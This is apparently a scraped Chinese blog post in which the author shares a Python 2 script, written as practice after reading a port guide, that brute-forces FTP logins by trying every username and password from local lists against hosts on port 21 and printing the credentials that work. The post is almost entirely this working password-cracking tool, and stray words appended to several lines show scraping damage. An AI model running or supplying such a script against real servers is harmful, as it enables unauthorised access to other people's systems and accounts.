最近在烏雲看到一份端口詳解:爲了鍛鍊本身,按照端口詳解寫腳本python
#!/usr/local/bin/ python #-*- coding: UTF-8 -*- __author__ = '' from ftplib import FTP import ftplib from gevent.pool import Pool threads_count = 20 def read_file(filepath): f = open(filepath).readlines() return f def ftp_crack(args): host = args[0] user = args[1] pwd = args[2] port=21 try: ftp = ftplib.FTP() ftp.connect(host, int(port), 2) ftp.login(user, pwd) ftp.retrlines('LIST') ftp.quit() print '\n[+] 破解成功,用戶名:' + user + ' 密碼:' + pwd+' ip: '+host return True,'ftp password is '+user+':'+pwd except ftplib.all_errors: pass pool = Pool(threads_count) host = read_file('host.txt') for h in host: h = h.replace('\n','') pd = True while pd: user = read_file('user.txt') print '\n[+] 正在破解ip: '+h for u in user: u = u.replace('\n','') if u == 'uuu': pd = False break passs = read_file('pass.txt') for pas in passs: pas = pas.replace('\n','') pd2 = pool.map(ftp_crack,[[h,u,pas]]) try: if pd2[0][0]: pd = False except: pass pool.join()
本地要有三個文件 user.txt , host.txt , pass.txtui
user文件默認最後一個單詞是uuu,由於在腳本中作了判斷。spa
這個腳本還須要在改進,不明白多進程的用法,強行搬別人的代碼過來,不知道有沒有用法不對,只怕貽笑大方。blog